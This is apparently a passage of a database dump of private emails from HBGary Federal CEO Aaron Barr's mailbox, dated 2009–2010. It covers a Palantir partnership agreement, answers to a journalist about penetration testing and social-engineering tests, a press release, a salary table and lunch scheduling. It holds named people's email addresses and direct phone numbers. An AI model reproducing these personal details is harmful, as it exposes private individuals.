1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75000 1.49 111750&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75.57 95.97 112.60 Foreign Linguist 2&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95000 1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95.72 121.57 142.63 Foreign Linguist 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;105000 1.49 156450&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;105.80 134.36 157.64 Program Manager 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75000 1.49 111750&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75.57 95.97 112.60 Program Manager 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95000 1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95.72 121.57 142.63 Program Manager 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;105000 1.49 156450&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;105.80 134.36 157.64 AaronOn Dec 22, 2009, at 3:31 PM, Penny Hoglund wrote:OK, what works for you?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 22, 2009 11:23 AMTo:&nbsp;Penny HoglundCc:&nbsp;Greg Hoglund; Ted VeraSubject:&nbsp;Re: Palantir partnership&nbsp;Ok that\'s what I want to talk about. &nbsp;Can we set up a teleconference?&nbsp;AaronFrom my iPhoneOn Dec 22, 2009, at 1:15 PM, \" Penny Hoglund\" &lt;penny@hbgary.com&gt; wrote:Not necessarily, they are integrating with HBGary, not HBGary Federal since we are having to do integration.&nbsp; HBGary Federal will sell that integration and use it but if is effects the software it should be under HBGary&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 22, 2009 7:25 AMTo:&nbsp;Greg Hoglund; Penny LeavyCc:&nbsp;Ted VeraSubject:&nbsp;Fwd: Palantir partnership&nbsp;FYI. &nbsp;Partnership agreement with Palantir. &nbsp;First glaring correction is to change HBGary to HBGary Federal. &nbsp;Reviewing the rest now.&nbsp;Aaron&nbsp;Begin forwarded message:&nbsp;From:&nbsp;Matthew Steckman &lt;msteckman@palantirtech.com&gt;Date:&nbsp;December 21, 2009 6:01:57 PM ESTTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Palantir partnership&nbsp;Aaron,&nbsp;Attached is our official partnership paperwork to start integration work for EOP (and potentially many other places).&nbsp; Please return a redlined copy or a signed agreement. &nbsp;You’ll notice that this is a free deal if the integration is performed within 60 days of signing the agreement.&nbsp;Looking forward to working with you guys.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1268,'aaron_hbgary_com/1268.html'),(951,'2010-01-05','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000157.M85072P3547Q951.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Question re Cybersecurity story','Great Aaron -- how about Thursday? I am available any time after 9 AM PT. Looking forward to it. Best, Karen&nbsp;--- On Tue, 1/5/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 5, 2010, 6:45 AM\r\nThanks.\r\n\r\nI would like to set up a time to briefly talk about other talking points or ideas for PR.\r\n\r\nAreas I am interested in and knowledgable of:\r\nAttribution\r\nState of National Cybersecurity\r\nMechanisms to fix National Cybersecurity\r\nCloud\r\nMobile\r\nFuture of Cybersecurity\r\n...probably others.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jan 5, 2010, at 9:29 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nThanks very much Aaron -- I\'ll send over to John now and let you know if he has any further questions. Best, Karen&nbsp;--- On Mon, 1/4/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, January 4, 2010, 11:20 PM\r\n1. &nbsp;That is partially correct. &nbsp;Typically Penetration Tests are conducted by external resources. &nbsp;Some organizations are large enough, say the Army for example, they have Pen teams that conduct these tests for various organizations within the Army. &nbsp;These teams may be comprised of a mixture of military and contractor personnel. &nbsp;For most small organizations/companies this work is typically hired out. &nbsp;In some cases organizations will try to do this themselves by reading up on certain Pen testing tools and techniques, but this is never a good idea. &nbsp;Pen tests typically are focused on penetrating the perimeter of an organizations networks. &nbsp;This usually does not involve any social engineering or other techniques that involve employees. &nbsp;Pen testing is typically a blind attack against the infrastructure using a variety of techniques and tools to bypass perimeter security; password crackers,\r\n IP and port scanners, web and application exploit tools. &nbsp;Vulnerability Assessments and tiger teams can either be internal or external teams that review policies, conduct interviews, review logs, test network and system security postures, and in some cases conduct social engineering to test the vulnerability of the employees to reveal information that could lead to access of unauthorized systems and information. &nbsp;In a healthy organization both of these types of tests should be built in to the security policies and procedures. &nbsp;The results of these tests should be tightly integrated into assessment of the training program of the organization as well as the implementation of security policies and procedures. \r\n\r\n2. &nbsp;If social engineering is allowed then there are a wide variety of techniques that are used but typically start in the same manner as an external penetration attack. &nbsp;The first thing an assessor will do is get to know the organization as best he/she can through publicly available information, this could include information on the companies website, thrown in the trash, or left laying on desks and in drawers. &nbsp;The parameters of a social engineering test are carefully defined based on the goals of the test, whether it is to simulate an external or insider threat, etc. &nbsp;Once the assessors have enough information they start to probe the organization for weaknesses in practice and judgement, this could be through spear phishing attacks, targeted phone calls, etc.\r\n\r\n3. &nbsp;Like everything else there are a variety of reasons why an organization would deny social engineering. &nbsp;Most IT security specialists know very well that people are the weakest link of computer systems and usually socially engineering attacks are successful, so some companies don\'t see the point in testing something they know will fail and potentially create legal issues or a negative work environment for employees. &nbsp;In short most organizations are afraid to conduct social engineering tests. &nbsp;This is an unfortunate perception. &nbsp;If properly integrated into an organizations training program there is a lot of valuable lessons that will be ingrained based on personal experiences. &nbsp;The best lessons are those either personally experienced or experience by people around us.\r\n\r\n4. &nbsp;My recommendation is for a more robust IT security training program that provides more immersive information that is embedded and organic to the organization, not just posters on the wall and a once a year multiple choice web based exam. &nbsp;There should be quarterly vulnerability assessments conducted internally by the IT security staff, with yearly external vulnerability assessments. &nbsp;Penetration tests should be conducted as needed, but at least once a year or when significant changes are made to the IT security infrastructure. &nbsp;This could be adding new functionality to the corporate website, employee portals, dmz, firewall rules, additional perimeter hardware/software, etc.\r\n\r\nHappy to provide further information if any areas seem unclear.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jan 4, 2010, at 5:37 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, FCW editor John Moore has some followup questions based on his interview with you last week. Please keep your&nbsp;answers short and&nbsp;know that they may be used as quotes from you in the article. \r\n&nbsp;\r\nPlease send final answers to me and then I\'ll pass on to John. John asked if you could provide the answers by EOD Tuesday (tomorrow) if possible. If you need more time, please let me know and I\'ll check with John. Thanks! Best, Karen&nbsp;--- On Mon, 1/4/10, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, January 4, 2010, 2:15 PM\r\n\r\nKaren:\r\n\r\nI have a couple of follow-up questions for Aaron Barr:\r\n\r\n* From the interview, it\'s my understanding that penetration tests are typically performed by external consultants and probe an organization\'s perimeter security. Testers may acquire usernames/passwords in the process (through password guessing tools?). Vulnerability assessment tiger teams, meanwhile, consist of internal IT staff. The team scrutinizes an organization\'s security policies and procedures and may engage in social engineering, if permitted. Is that the correct distinction?\r\n\r\n* How do tiger teams pursue social engineering attacks? Do they simulate phishing scams to see if they can extract passwords? Do they phone end users? Both?&nbsp;\r\n\r\n* Why do some organizations prohibit social engineering as part of tiger team assessments?&nbsp;\r\n\r\n* The insight gained from penetration tests/tiger teams (the number of passwords obtained and how they were obtained, for example) can be integrated back into an agency\'s training program. So, in other words, an agency might emphasize phishing awareness if many users fall for scams?&nbsp;\r\n\r\n* Just to clarify, Aaron recommends quarterly tiger team vulnerability assessments and annual external penetration tests -- is that correct?\r\nRegards,\r\n\r\nJohn&nbsp;\r\n\r\n\r\n\r\n\r\nOn Dec 28, 2009, at 11:04 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi John, In case you wanted to see some background on HBGary Federal and Aaron Barr, I sent you the recent release below. Best, Karen\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; \r\nFor Immediate Release \r\n&nbsp; \r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\nTo U.S. Government Agencies \r\n&nbsp; \r\nNew Venture Led By Cybersecurity Experts and Former&nbsp;Northrop Grumman \r\nLeadership&nbsp;Aaron Barr and Ted Vera \r\n&nbsp; \r\nSacramento, California , December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. \r\n&nbsp; \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n&nbsp; \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will &nbsp;ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.” \r\n&nbsp; \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. &nbsp;They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n&nbsp; \r\n“Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and\r\n Digital DNA represent the future.&nbsp; Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.&nbsp; \r\n&nbsp; \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.&nbsp; As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.&nbsp;\r\n HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. \r\n&nbsp; \r\nFor more information on HBGary Federal, please visit http://www.hbgary.com. You can also contact Mr. Barr at aaron@hbgary.com or Mr. Vera at ted@hbgary.com. \r\n&nbsp; \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as\r\n an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.&nbsp; Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.&nbsp; He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. \r\n&nbsp; \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system security engineer and program\r\n manager. &nbsp;He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures. &nbsp; Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his\r\n tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University. \r\n&nbsp; \r\n&nbsp; \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com. \r\n&nbsp; \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com&nbsp; --- On Mon, 12/28/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, December 28, 2009, 4:13 PM\r\nOk, thanks.&nbsp; \r\n\r\n\r\n\r\nOn Dec 28, 2009, at 5:27 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Just to reconfirm, Aaron will call you tomorrow, Tuesday Dec. 29th&nbsp;at 10 AM ET. I will be on the call as well.&nbsp;Best, Karen--- On Wed, 12/23/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"John Moore\" &lt;jmwriter@twcny.rr.com&gt;Date: Wednesday, December 23, 2009, 1:36 PM\r\n\r\n\r\n\r\n\r\nGreat -- thanks so much John. Best, Karen--- On Wed, 12/23/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, December 23, 2009, 6:51 AM\r\nThat time works.&nbsp; \r\n\r\nI\'m mainly interested in the second and third points mentioned below:\r\n\r\n* Do most agencies conduct pen tests and vulnerability assessments to test the effectiveness of training? How often should those tests/assessments be conducted? How much do they cost?\r\n\r\n* I\'d like more detail on how DRM works. To what extent is it available today? How difficult/costly is it to deploy?\r\n\r\nI\'ll be at (315) 488-8111.\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 22, 2009, at 6:49 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nGreat, John -- how about 10 AM ET on Tuesday? If you can, please&nbsp;send over some sample questions, or Aaron can just elaborate in more detail on his points below. He will plan to call you if that is convenient -- please just send your number. Best, Karen&nbsp;&nbsp;&nbsp;--- On Tue, 12/22/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 12:06 PM\r\nAny time between 8:00 a.m. and 11:00 a.m. ET will work on Tuesday.&nbsp; \r\n\r\n\r\n\r\nOn Dec 22, 2009, at 2:17 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Aaron will be on vacation next week, but is&nbsp;very interested in speaking&nbsp;to you!&nbsp;Please suggest a few times for Tuesday and I\'ll reconfirm final time with Aaron. Best, Karen&nbsp;--- On Tue, 12/22/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 10:40 AM\r\n\r\n\r\nKaren:\r\n\r\nWould he have any time to talk on the 28th or 29th?\r\n\r\n\r\nOn Dec 21, 2009, at 2:52 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John, If you need an expert for this story, HBGary Federal CEO Aaron Barr would be a great resource for you. Among the topics he can discuss: \r\n&nbsp;\r\n&nbsp;\r\n\r\nIT Security training just has not been taken seriously enough. &nbsp;In the classified world, you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity, you can get your clearance revoked and lose your job. &nbsp;This doesn\'t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n&nbsp; \r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessments, on the hardened state of the systems. &nbsp;For example, how many user names and passwords could a pen tester acquire? &nbsp;How many systems could they penetrate? &nbsp;You can conduct training and then, a few months later, retest the organizations security posture. &nbsp;That is one of the only true ways to measure success in the IT security world.\r\n&nbsp; \r\n\r\nIn the future, one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine. &nbsp;The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes. &nbsp;These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\nAbout HBGary Federal and CEO Aaron Barr \r\nHBGary Federal recently launched to focus on delivering HBGary\'s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. Prior to joining HBGary Federal, Mr. Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. \r\n&nbsp;\r\n&nbsp;\r\nPlease let me know if you would like to talk to Aaron. Best, Karen\r\n&nbsp;\r\nKaren Burke\r\nOn Behalf of HBGary\r\n650-814-3764\r\n&nbsp;\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Friday, December 18, 2009, 7:28 AM\r\n\r\nI\'m writing the security feature for the Jan. 25 issue. The topic is end user IT security training. How do organizations measure the impact of training and whether employees are following through (adhering to agency security policies).&nbsp; \r\n\r\nJohn\r\n\r\n\r\n\r\nOn Dec 14, 2009, at 2:24 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Just wanted to check back -- has this story been assigned? Thanks, Karen--- On Thu, 12/10/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Question re Cybersecurity storyTo: jmwriter@twcny.rr.comDate: Thursday, December 10, 2009, 3:41 PM\r\n\r\n\r\n\r\n\r\n\r\nHi John, Can you please tell me who is working on the upcoming cybersecurity story slated for January? I am working with a few security companies who might be a good fit. Thanks, Best, Karen&nbsp;\r\n&nbsp;\r\nKaren Burke\r\n650-814-3764\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',449,'aaron_hbgary_com/449.html'),(952,'2010-01-05','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297000159.M315268P3547Q953.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','RE: Big News for NG','Aaron -- week of 18 Jan is not good for Tom -- he is on a government\r\npanel and the CR offsite.  Week of 25 Jan looks good.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 05, 2010 10:56 AM\r\nTo: Conroy, Thomas W.\r\nCc: Robinson, Cassie\r\nSubject: Big News for NG\r\n\r\nHappy New Year.\r\n\r\nBig surprise to see NG is moving its entire HQ to DC.  Good move.\r\n\r\nI am heading out to have lunch with Mike Toth in a few minutes, haven\'t\r\nseen him in a while.  Heading out to Colorado Springs next week to\r\nattend the AF Cybersecurity conference (and get in a little skiing).\r\nMaybe we can get together for lunch the week of the 18th?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8429,'aaron_hbgary_com/8429.html'),(953,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000159.M517683P3547Q954.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Big News for NG','Hi Cassie,\r\n\r\nHappy New Year.\r\n\r\nWeek of the 25th sounds good.  I am pretty open.\r\n\r\nAaron\r\n\r\nOn Jan 5, 2010, at 2:37 PM, Robinson, Cassie wrote:\r\n\r\n> Aaron -- week of 18 Jan is not good for Tom -- he is on a government\r\n> panel and the CR offsite.  Week of 25 Jan looks good.  \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, January 05, 2010 10:56 AM\r\n> To: Conroy, Thomas W.\r\n> Cc: Robinson, Cassie\r\n> Subject: Big News for NG\r\n> \r\n> Happy New Year.\r\n> \r\n> Big surprise to see NG is moving its entire HQ to DC.  Good move.\r\n> \r\n> I am heading out to have lunch with Mike Toth in a few minutes, haven\'t\r\n> seen him in a while.  Heading out to Colorado Springs next week to\r\n> attend the AF Cybersecurity conference (and get in a little skiing).\r\n> Maybe we can get together for lunch the week of the 18th?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6604,'aaron_hbgary_com/6604.html'),(954,'2010-01-05','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297000159.M754528P3547Q955.eml','\"Aaron Barr\" <aaron@hbgary.com>','Lunch: Aaron Barr/Tom Conroy','\r\n\r\n\r\n\r\n\r\nLunch: Aaron Barr/Tom Conroy\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, January 27, 2010 11:30 AM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: TBD\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nAaron &#8211; where are you coming from?&nbsp; \r\n\r\ncsr\r\n\r\n\r\n',16391,'aaron_hbgary_com/16391.html'),(955,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000159.M80276P3547Q952.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Class Description','\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7299,'aaron_hbgary_com/7299.html'),(956,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000159.M930423P3547Q956.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Event accepted: Lunch: Aaron Barr/Tom Conroy','Aaron Barr has accepted your iCal event invitation to the event: Lunch: Aaron Barr/Tom Conroy, scheduled for January 27, 2010 at 10:30 AM (Central Standard Time).',4233,'aaron_hbgary_com/4233.html'),(957,'2010-01-05','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297000160.M239218P3547Q957.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Big News for NG','Sent via Outlook -- but incase it doesn\'t translate -- 11:30 on 27 Jan\r\n-- \r\n\r\nWhere are you coming from so I can select location good for both?  \r\n\r\ncsr\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 05, 2010 2:40 PM\r\nTo: Robinson, Cassie\r\nSubject: Re: Big News for NG\r\n\r\nHi Cassie,\r\n\r\nHappy New Year.\r\n\r\nWeek of the 25th sounds good.  I am pretty open.\r\n\r\nAaron\r\n\r\nOn Jan 5, 2010, at 2:37 PM, Robinson, Cassie wrote:\r\n\r\n> Aaron -- week of 18 Jan is not good for Tom -- he is on a government\r\n> panel and the CR offsite.  Week of 25 Jan looks good.  \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, January 05, 2010 10:56 AM\r\n> To: Conroy, Thomas W.\r\n> Cc: Robinson, Cassie\r\n> Subject: Big News for NG\r\n> \r\n> Happy New Year.\r\n> \r\n> Big surprise to see NG is moving its entire HQ to DC.  Good move.\r\n> \r\n> I am heading out to have lunch with Mike Toth in a few minutes,\r\nhaven\'t\r\n> seen him in a while.  Heading out to Colorado Springs next week to\r\n> attend the AF Cybersecurity conference (and get in a little skiing).\r\n> Maybe we can get together for lunch the week of the 18th?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11264,'aaron_hbgary_com/11264.html'),(958,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000160.M420164P3547Q958.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: Lunch: Aaron Barr/Tom Conroy','Tysons Corner.\r\n\r\nOn Jan 5, 2010, at 2:42 PM, Conroy, Thomas W. wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal 